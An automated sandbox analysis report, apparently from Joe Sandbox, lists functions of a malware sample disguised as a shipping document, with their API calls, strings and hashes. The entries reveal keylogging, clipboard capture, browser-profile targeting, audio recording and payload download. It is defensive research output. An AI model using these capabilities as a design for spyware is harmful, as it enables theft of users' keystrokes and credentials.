                                                                                        • Instruction Fuzzy Hash: A531F831600205EBEB21EF56C845BAB77A8DF55711F24416BF9048B3D1DB38CD41E7A9
                                                                                        Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                        • __Init_thread_footer.LIBCMT ref: 0040B797
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Init_thread_footer__onexit
                                                                                        • String ID: [End of clipboard]$[Text copied to clipboard]
                                                                                        • API String ID: 1881088180-3686566968
                                                                                        • Opcode ID: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
                                                                                        • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                                                                                        • Opcode Fuzzy Hash: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
                                                                                        • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                                                                                        Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: ACP$OCP
                                                                                        • API String ID: 0-711371036
                                                                                        • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                                                                                        • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                                                                                        • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                                                                                        • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                                                                                        Function 0044B731 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BB6E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B7DB
                                                                                        • GetLastError.KERNEL32 ref: 0044B804
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorFileLastWrite
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 442123175-263838557
                                                                                        • Opcode ID: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
                                                                                        • Instruction ID: 56933c973e2243a1a9a6e47b5ff38ff3048756f5123006952a384074424e161b
                                                                                        • Opcode Fuzzy Hash: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
                                                                                        • Instruction Fuzzy Hash: 12319331A00619DBCB24CF59CD809DAB3F9EF88311F1445AAE509D7361D734ED81CB68
                                                                                        Function 0044B652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BB8E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B6ED
                                                                                        • GetLastError.KERNEL32 ref: 0044B716
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorFileLastWrite
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 442123175-263838557
                                                                                        • Opcode ID: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
                                                                                        • Instruction ID: 12ef57d8ab414bd2a6c5914f5c8b73f84ca543b1ee1fc2f1adbb6bb6aefc8993
                                                                                        • Opcode Fuzzy Hash: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
                                                                                        • Instruction Fuzzy Hash: 6C21B435600219DFCB14CF69C980BE9B3F8EB48302F1044AAE94AD7351D734ED81CB64
                                                                                        Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                                                                                        Strings
                                                                                        • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: LocalTime
                                                                                        • String ID: KeepAlive | Enabled | Timeout:
                                                                                        • API String ID: 481472006-1507639952
                                                                                        • Opcode ID: 2607bdc9f0d933924e59b09d9b4d17e10e2c88dcc52cf24d6e3d3c5d02c0a6dc
                                                                                        • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                                                                                        • Opcode Fuzzy Hash: 2607bdc9f0d933924e59b09d9b4d17e10e2c88dcc52cf24d6e3d3c5d02c0a6dc
                                                                                        • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                                                                                        Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • Sleep.KERNEL32 ref: 00416640
                                                                                        • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: DownloadFileSleep
                                                                                        • String ID: !D@
                                                                                        • API String ID: 1931167962-604454484
                                                                                        • Opcode ID: 2ae7695c40f29ee67dd386e4d97dc8b30bdd8952bcd1bbd735126d4dc73e8781
                                                                                        • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                                                                                        • Opcode Fuzzy Hash: 2ae7695c40f29ee67dd386e4d97dc8b30bdd8952bcd1bbd735126d4dc73e8781
                                                                                        • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                                                                                        Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExistsFilePath
                                                                                        • String ID: alarm.wav$hYG
                                                                                        • API String ID: 1174141254-2782910960
                                                                                        • Opcode ID: a80849807d39b6d885b850496f76bbee22079f6d4cd25328039c8df50d7c6aa3
                                                                                        • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                                                                                        • Opcode Fuzzy Hash: a80849807d39b6d885b850496f76bbee22079f6d4cd25328039c8df50d7c6aa3
                                                                                        • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                                                                                        Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                          • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        • CloseHandle.KERNEL32(?), ref: 0040B0B4
                                                                                        • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                                                        • String ID: Online Keylogger Stopped
                                                                                        • API String ID: 1623830855-1496645233
                                                                                        • Opcode ID: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
                                                                                        • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                                                                                        • Opcode Fuzzy Hash: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
                                                                                        • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                                                                                        Function 00448BB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,73E85006,00000001,?,0043CE55), ref: 00448C24
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: String
                                                                                        • String ID: LCMapStringEx$PkGNG
                                                                                        • API String ID: 2568140703-1065776982
                                                                                        • Opcode ID: 6176356b550008225c45ed95f9c308570f022b01c1c57b82113652449518e224
                                                                                        • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                                                                                        • Opcode Fuzzy Hash: 6176356b550008225c45ed95f9c308570f022b01c1c57b82113652449518e224
                                                                                        • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                                                                                        Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • waveInPrepareHeader.WINMM(?,00000020,?,?,00476B50,00474EE0,?,00000000,00401A15), ref: 00401849
                                                                                        • waveInAddBuffer.WINMM(?,00000020,?,00000000,00401A15), ref: 0040185F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: wave$BufferHeaderPrepare
                                                                                        • String ID: XMG
                                                                                        • API String ID: 2315374483-813777761
                                                                                        • Opcode ID: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                                                                        • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                                                                                        • Opcode Fuzzy Hash: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                                                                        • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                                                                                        Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: LocaleValid
                                                                                        • String ID: IsValidLocaleName$JD
                                                                                        • API String ID: 1901932003-2234456777
                                                                                        • Opcode ID: 98bf4732c76f9d0cbfb8c103c3b900cf5be1bffc9926f7dc5154a94851103fac
                                                                                        • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                                                                                        • Opcode Fuzzy Hash: 98bf4732c76f9d0cbfb8c103c3b900cf5be1bffc9926f7dc5154a94851103fac
                                                                                        • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                                                                                        Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C4F6
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExistsFilePath
                                                                                        • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                                                                        • API String ID: 1174141254-4188645398
                                                                                        • Opcode ID: 7005c2773d118e2c9d7b7987c52ef0ef7a298987e294b58a31e1cd003faf56ca
                                                                                        • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                                                                                        • Opcode Fuzzy Hash: 7005c2773d118e2c9d7b7987c52ef0ef7a298987e294b58a31e1cd003faf56ca
                                                                                        • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                                                                                        Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C559
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExistsFilePath
                                                                                        • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                                                                        • API String ID: 1174141254-2800177040
                                                                                        • Opcode ID: ab3f2aba289be1bf0ad3848519e66e4cff6ce689097d1d423b573e143f03c488
                                                                                        • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                                                                                        • Opcode Fuzzy Hash: ab3f2aba289be1bf0ad3848519e66e4cff6ce689097d1d423b573e143f03c488
                                                                                        • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                                                                                        Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000), ref: 0040C5BC
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExistsFilePath
                                                                                        • String ID: AppData$\Opera Software\Opera Stable\
                                                                                        • API String ID: 1174141254-1629609700
                                                                                        • Opcode ID: ab88a7dc1cafb0835d30463df654517a200d7fa6beafa267c9165c8e72f76c47
                                                                                        • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                                                                                        • Opcode Fuzzy Hash: ab88a7dc1cafb0835d30463df654517a200d7fa6beafa267c9165c8e72f76c47
                                                                                        • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                                                                                        Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetKeyState.USER32(00000011), ref: 0040B64B
                                                                                          • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                                                                                          • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                                                                                          • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32(00000000), ref: 0040A429
                                                                                          • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                                                                                          • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                                                                                          • Part of subcall function 0040A3E0: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A461
                                                                                          • Part of subcall function 0040A3E0: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4C1
                                                                                          • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                                                        • String ID: [AltL]$[AltR]
                                                                                        • API String ID: 2738857842-2658077756
                                                                                        • Opcode ID: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
                                                                                        • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                                                                                        • Opcode Fuzzy Hash: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
                                                                                        • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                                                                                        Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                                                                                        • GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: uD
                                                                                        • API String ID: 0-2547262877
                                                                                        • Opcode ID: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
                                                                                        • Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
                                                                                        • Opcode Fuzzy Hash: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
                                                                                        • Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49
                                                                                        Function 00448957 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Time$FileSystem
                                                                                        • String ID: GetSystemTimePreciseAsFileTime$PkGNG
                                                                                        • API String ID: 2086374402-949981407
                                                                                        • Opcode ID: 14ade04f60bc73be69f0a8e2d41fd66075f217d790f0afe8d3aaf6a6c36f91f3
                                                                                        • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                                                                                        • Opcode Fuzzy Hash: 14ade04f60bc73be69f0a8e2d41fd66075f217d790f0afe8d3aaf6a6c36f91f3
                                                                                        • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                                                                                        Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExecuteShell
                                                                                        • String ID: !D@$open
                                                                                        • API String ID: 587946157-1586967515
                                                                                        • Opcode ID: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
                                                                                        • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                                                                                        • Opcode Fuzzy Hash: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
                                                                                        • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                                                                                        Function 0045554B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ___initconout.LIBCMT ref: 0045555B
                                                                                          • Part of subcall function 00456B1D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00455560,00000000,PkGNG,0044B59D,?,FF8BC35D,00000000,?,00000000), ref: 00456B30
                                                                                        • WriteConsoleW.KERNEL32(FFFFFFFE,FF8BC369,00000001,00000000,00000000,00000000,PkGNG,0044B59D,?,FF8BC35D,00000000,?,00000000,PkGNG,0044BB19,?), ref: 0045557E
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ConsoleCreateFileWrite___initconout
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 3087715906-263838557
                                                                                        • Opcode ID: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                                                                        • Instruction ID: e84ccb038854987deafcb7b601af55b429ad8f27f18c1f17be9b2782bd97289a
                                                                                        • Opcode Fuzzy Hash: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                                                                        • Instruction Fuzzy Hash: 10E02B70500508BBD610CB64DC25EB63319EB003B1F600315FE25C72D1EB34DD44C759
                                                                                        Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetKeyState.USER32(00000012), ref: 0040B6A5
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: State
                                                                                        • String ID: [CtrlL]$[CtrlR]
                                                                                        • API String ID: 1649606143-2446555240
                                                                                        • Opcode ID: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
                                                                                        • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                                                                                        • Opcode Fuzzy Hash: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
                                                                                        • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                                                                                        Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                        • __Init_thread_footer.LIBCMT ref: 00410F29
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Init_thread_footer__onexit
                                                                                        • String ID: ,kG$0kG
                                                                                        • API String ID: 1881088180-2015055088
                                                                                        • Opcode ID: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
                                                                                        • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
